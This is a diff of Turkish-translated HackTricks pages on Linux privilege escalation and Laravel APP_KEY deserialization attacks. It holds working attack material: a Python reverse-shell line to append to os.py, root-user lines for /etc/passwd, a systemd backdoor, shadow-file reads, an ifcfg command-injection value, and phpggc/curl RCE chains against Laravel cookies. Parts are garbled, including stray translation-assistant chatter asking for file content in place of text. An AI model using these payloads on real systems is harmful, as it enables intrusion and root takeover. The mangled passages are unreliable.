verilmediğini belirtir. Varsayılan `no`'dur. +- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`'tir. +- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur. ### PermitRootLogin -Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler: +root'un ssh kullanarak oturum açıp açamayacağını belirtir, varsayılan `no`'dur. Olası değerler: -- `yes`: root parola ve private key ile giriş yapabilir -- `without-password` or `prohibit-password`: root yalnızca private key ile giriş yapabilir -- `forced-commands-only`: root yalnızca private key ile ve komut seçenekleri belirtilmişse giriş yapabilir -- `no`: hayır +- `yes`: root password ve private key kullanarak oturum açabilir +- `without-password` veya `prohibit-password`: root sadece private key ile oturum açabilir +- `forced-commands-only`: root sadece private key ile ve commands opsiyonları belirtilmişse oturum açabilir +- `no` : izin yok ### AuthorizedKeysFile -Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi token'lar içerebilir; bu token'lar home dizini ile değiştirilecektir. **Mutlak yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: +Kullanıcı kimlik doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bu tokenlar home dizini ile değiştirilir. **Mutlak yollar** ( `/` ile başlayan) veya **kullanıcının home'undan göreli yollar** belirtebilirsiniz. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1188,19 +1213,19 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding, sunucunuzda (without passphrases!) anahtarları bırakmak yerine **use your local SSH keys instead of leaving keys** kullanmanızı sağlar. Böylece ssh ile **jump** **to a host** yapabilir ve oradan **jump to another** **host**'a, **initial host**'unuzda bulunan **key**i **using** ederek erişebilirsiniz. +SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. -Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Dikkat edin: Eğer `Host` `*` ise kullanıcı farklı bir makineye bağlandığında o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur). +Dikkat: eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecek (bu bir güvenlik sorunudur). -Dosya `/etc/ssh_config` bu seçenekleri **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ -Dosya `/etc/sshd_config`, `AllowAgentForwarding` anahtar kelimesi ile ssh-agent forwarding'e izin verebilir veya engelleyebilir (varsayılan izinlidir). +Dosya `/etc/ssh_config` bu **seçenekleri** **ezebilir** ve bu yapılandırmaya izin verebilir ya da engelleyebilir.\ +Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesiyle ssh-agent forwarding'e izin verebilir veya engelleyebilir (varsayılan izinlidir). -Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz aşağıdaki sayfayı okuyun, çünkü **bunu kötüye kullanarak yetki yükseltebilirsiniz**: +Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz aşağıdaki sayfayı okuyun çünkü **bunu kötüye kullanarak ayrıcalıkları yükseltebilirsiniz**: {{#ref}} @@ -1209,63 +1234,63 @@ ssh-forward-agent-exploitation.md ## İlginç Dosyalar -### Profil dosyaları +### Profile dosyaları -Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında yürütülen **scripts**'lerdir. Bu nedenle, bunlardan herhangiğini **yazabiliyor veya değiştirebiliyorsanız yetki yükseltebilirsiniz**. +Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, **bir kullanıcı yeni bir shell çalıştırdığında çalıştırılan scriptlerdir**. Bu nedenle, bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Herhangi bir tuhaf profile script bulunursa, onu **hassas bilgiler** açısından kontrol etmelisiniz. +If any weird profile script is found you should check it for **sensitive details**. ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isimle kullanılıyor olabilir veya bir yedeği bulunabilir. Bu nedenle **tümünü bulun** ve dosyaları **okuyup okuyamadığınızı kontrol edin**; dosyaların içinde **hashes** olup olmadığını görmek için: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı isimlerde olabilir veya yedekleri bulunabilir. Bu yüzden **hepsini bulmanız** ve **okuyup okuyamadığınızı kontrol etmeniz**, dosyaların içinde **hashes** olup olmadığını görmek için önerilir: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasında **password hashes** bulabilirsiniz. +Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasının içinde **password hashes** bulabilirsiniz. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -İlk olarak, aşağıdaki komutlardan biriyle bir parola oluşturun. +İlk olarak, aşağıdaki komutlardan biriyle bir password oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Çeviri yapabilmem için lütfen src/linux-hardening/privilege-escalation/README.md dosyasının içeriğini gönderir misiniz? +I don't have the file content. Please paste the contents of src/linux-hardening/privilege-escalation/README.md that you want translated. -Ayrıca netleştirmek istiyorum: -- Bu dosyaya “hacker” kullanıcısını eklememi ve oluşturulmuş şifreyi dosyaya eklememi mi istiyorsunuz, yoksa sistemde gerçekten bir kullanıcı oluşturmamı mı bekliyorsunuz? (Ben sistemde değişiklik yapamam — sadece dosya içeriğini düzenleyebilirim.) -- Şifreyi benim oluşturup dosyaya eklememi ister misiniz? Eğer evet ise, kaç karakterlik ve hangi karakter tiplerini (büyük/küçük harf, rakam, sembol) tercih edersiniz? Varsayılan olarak güçlü, 16 karakterlik rastgele bir şifre oluşturabilirim. +Also confirm how you want the `hacker` user added: +- Should I append a code example to the translated README showing the commands to create the user and set a generated password? +- If yes, do you want me to generate a random password now (specify length/complexity) and include it in the README, or leave a placeholder for you to replace? -İçeriği gönderin ve tercihlerinizi onaylayın; çeviriyi ve istenen eklemeyi yapıp geri döneceğim. +Answer these and paste the README content, and I'll return the translated Markdown with the requested user/password snippet. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Örn: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Örnek: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz +Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz. Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir. +UYARI: makinenin mevcut güvenliğini zayıflatabilirsiniz. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd`'de bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? +Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, herhangi bir **servis yapılandırma dosyasına** yazabiliyor musunuz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, makine bir **tomcat** sunucusu çalıştırıyorsa ve **modify the Tomcat service configuration file inside /etc/systemd/,** yapabiliyorsanız, o zaman şu satırları değiştirebilirsiniz: +Örneğin, makinede bir **tomcat** sunucusu çalışıyorsa ve **modify the Tomcat service configuration file inside /etc/systemd/,** yapabiliyorsanız, şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root @@ -1296,7 +1321,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Son dakikalarda değiştirilen dosyalar +### Son birkaç dakikada değiştirilen dosyalar ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1312,7 +1337,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH'teki Script/Binaries** +### **PATH İçindeki Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1328,22 +1353,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Parolalar içeren bilinen dosyalar +### Known files containing passwords -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **birçok olası dosyayı** that could contain passwords.\ -**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin, **passwords içerebilecek birkaç olası dosyayı** arar.\ +**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda depolanan çok sayıda passwords'i almak için kullanılan açık kaynaklı bir uygulamadır. -### Günlükler +### Logs -If you can read logs, you may be able to find **içlerinde ilginç/gizli bilgiler**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **audit log'lara parolaları kaydetme** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Eğer logs'ları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\ +Ayrıca, bazı "**bad**" yapılandırılmış (backdoored?) **audit logs**, bu gönderide açıklandığı gibi, audit logs içine **passwords kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Logları okumak için **logları okumaya yetkili grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten faydalı olacaktır. +Kayıtları **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten çok yardımcı olacaktır. -### Shell files +### Shell dosyaları ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1356,59 +1381,59 @@ Logları okumak için **logları okumaya yetkili grup** [**adm**](interesting-gr ``` ### Generic Creds Search/Regex -Ayrıca dosya adı veya içeriğinde "**password**" kelimesi geçen dosyaları; loglar içindeki IPs ve emails ile hash regex'lerini de kontrol etmelisiniz.\ -Ben burada bunların hepsinin nasıl yapılacağını listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) son kontrollerine bakabilirsiniz. +Dosya adında veya içeriğinde "**password**" kelimesi geçen dosyaları kontrol etmelisiniz; ayrıca loglar içinde IP'leri ve e-postaları veya hashes regexps'leri de kontrol edin.\ +Bunların hepsini burada nasıl yapacağınızı listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. ## Yazılabilir dosyalar ### Python library hijacking -Eğer bir python scriptinin **nereden** çalıştırılacağını biliyor ve o klasöre **yazabiliyorsanız** ya da **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirip backdoorlayabilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Eğer bir **python** scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirip ona backdoor ekleyebilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate istismarı -`logrotate`'daki bir zafiyet, bir log dosyası veya onun üst dizinlerinde **yazma izinleri** olan kullanıcıların potansiyel olarak ayrıcalık yükseltmesine izin verir. Bunun nedeni `logrotate`'in çoğunlukla **root** olarak çalışması ve özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaların çalıştırılacak şekilde manipüle edilebilmesidir. İzinleri sadece _/var/log_ içinde değil, log rotasyonu uygulanan herhangi bir dizinde de kontrol etmek önemlidir. +`logrotate`'deki bir güvenlik açığı, bir log dosyası veya üst dizinlerinde **yazma izinleri** olan kullanıcıların potansiyel olarak ayrıcalık yükseltmesine izin verebilir. Bunun nedeni, sıklıkla **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştıracak şekilde manipüle edilebilmesidir. İzinleri sadece _/var/log_ içinde değil, log rotasyonu uygulanan herhangi bir dizinde de kontrol etmek önemlidir. > [!TIP] -> Bu zafiyet `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler +> Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkiler -Bu zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Güvenlik açığı hakkında daha detaylı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile sömürebilirsiniz. +Bu güvenlik açığı [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edilebilir. -Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzerdir; bu nedenle günlükleri değiştirebildiğinizi gördüğünüzde, bu günlükleri kimin yönettiğini kontrol edin ve günlükleri symlinks ile değiştirerek ayrıcalıkları yükseltebilme imkânınız olup olmadığını kontrol edin. +Bu güvenlik açığı [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzer olduğundan logları değiştirebildiğinizi gördüğünüzde, bu logları kim yönettiğini kontrol edin ve logları symlink ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Eğer herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabilirse** **veya** mevcut bir scripti **düzenleyebilirse**, sisteminiz **is pwned** demektir. +Eğer herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scriptini **yazabiliyor** veya mevcut bir dosyayı **düzenleyebiliyorsa**, sisteminiz **system is pwned** demektir. -Network script'leri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzer görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. +Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. -Benim durumumda, bu network script'lerinde tanımlı `NAME=` doğru şekilde işlenmiyordu. İsimde **white/blank space** varsa **sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu da **ilk boşluktan sonraki her şey root olarak çalıştırılır** anlamına gelir. +Benim durumumda, bu network scriptlerindeki `NAME=` özniteliği doğru şekilde işlenmiyor. Eğer isimde **boşluk/blank space** varsa, **sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu demektir ki **ilk boşluktan sonra gelen her şey root olarak çalıştırılıyor**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Not: Network ile /bin/id arasında boşluk olduğuna dikkat_) +(_Not: Network ile /bin/id arasında boşluk olduğunu unutmayın_) -### **init, init.d, systemd ve rc.d** +### **init, init.d, systemd, ve rc.d** -Dizin `/etc/init.d`, System V init (SysVinit) için **scripts** barındırır; bu, **klasik Linux servis yönetim sistemi**'dir. Bu dizin `start`, `stop`, `restart` ve bazen `reload` servislerini başlatan scriptleri içerir. Bu scriptler doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif yol `/etc/rc.d/init.d`'dir. +The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. -Öte yandan, `/etc/init` **Upstart** ile ilişkilidir — Ubuntu tarafından getirilen daha yeni bir **service management** yaklaşımı olup servis yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içindeki uyumluluk katmanı nedeniyle SysVinit scriptleri Upstart yapılandırmalarıyla birlikte hâlâ kullanılır. +On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. -**systemd**, talep üzerine daemon başlatma, automount yönetimi ve sistem durumu snapshot'ları gibi gelişmiş özellikler sunan modern bir init ve servis yöneticisidir. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında organize ederek sistem yönetimini kolaylaştırır. +**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. -## Other Tricks +## Diğer Püf Noktaları ### NFS Privilege escalation @@ -1433,7 +1458,8 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting framework'leri genellikle bir syscall'i hook'layarak ayrıcalıklı kernel fonksiyonlarını userspace bir manager'a açar. Zayıf manager kimlik doğrulaması (ör. FD-order'a dayalı signature kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten-rootlu cihazlarda root'a yükselmesine olanak tanıyabilir. Ayrıntılar ve exploitation bilgileri için bakınız: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1444,7 +1470,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Daha fazla yardım [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1463,7 +1489,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Referanslar - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1483,6 +1509,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index be7dbb340..bff340d22 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -Bu konuda bilgi için burayı okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Bu konuda bilgi için buraya bakın: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6) +## APP_KEY & Şifreleme iç yapısı (Laravel \u003e=5.6) -Laravel, arka planda HMAC bütünlüğü ile birlikte AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`). -Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**: +Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`). +Son olarak **istemciye gönderilen** ham şifrelenmiş metin, şu örnekteki gibi bir JSON nesnesinin **Base64**'idir: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,7 +20,9 @@ Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` varsayılan olarak metin düzünü `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.** +`encrypt($value, $serialize=true)` varsayılan olarak düz metni `serialize()` ederken, +`decrypt($payload, $unserialize=true)` **çözülen değeri otomatik olarak `unserialize()` eder**. +Bu nedenle **32 byte'lık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serialized nesne oluşturup magic methods (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.** Minimal PoC (framework ≥9.x): ```php @@ -29,7 +31,7 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin. +Oluşturulan string'i herhangi bir zafiyeti olan `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin. --- @@ -49,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the --- -## Gerçek dünya zayıf desenleri +## Gerçek dünya zafiyet örüntüleri -| Proje | Zayıf nokta | Gadget zinciri | -|-------|-------------|----------------| +| Proje | Güvenli olmayan sink | Gadget chain | +|---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` çerezi | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie Passport::withCookieSerialization() etkinleştirildiğinde | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -Sömürü iş akışı her zaman: -1. 32 baytlık `APP_KEY`'i elde et veya brute-force ile bul. -2. **PHPGGC** ile bir gadget zinciri oluştur (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`). -3. Seri hale getirilmiş gadget'ı **laravel_crypto_killer.py** ve geri kazanılan `APP_KEY` ile şifrele. -4. Şifreli metni zayıf `decrypt()` noktasına (route parametresi, çerez, oturum …) ileterek **RCE**'yi tetikle. +Sömürme iş akışı her zaman: +1. 32 baytlık `APP_KEY`'i ele geçirin veya brute-force ile kırın. +2. **PHPGGC** ile bir gadget zinciri oluşturun (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`). +3. Serileştirilmiş gadget'ı **laravel_crypto_killer.py** ve elde edilen `APP_KEY` ile şifreleyin. +4. Şifreli metni zafiyetli `decrypt()` sink'ine (route parametresi, cookie, session …) göndererek **RCE**'yi tetikleyin. -Aşağıda, yukarıda bahsedilen her gerçek dünya CVE için tam saldırı yolunu gösteren kısa tek satırlık örnekler bulunmaktadır: +Aşağıda yukarıda bahsedilen her gerçek dünya CVE'si için tam saldırı yolunu gösteren kısa one-liner'lar yer almaktadır: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## Toplu APP_KEY keşfi via cookie brute-force + +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak milyonlarca ciphertext** that can be attacked offline. + +Key findings of the research published by Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers hâlâ 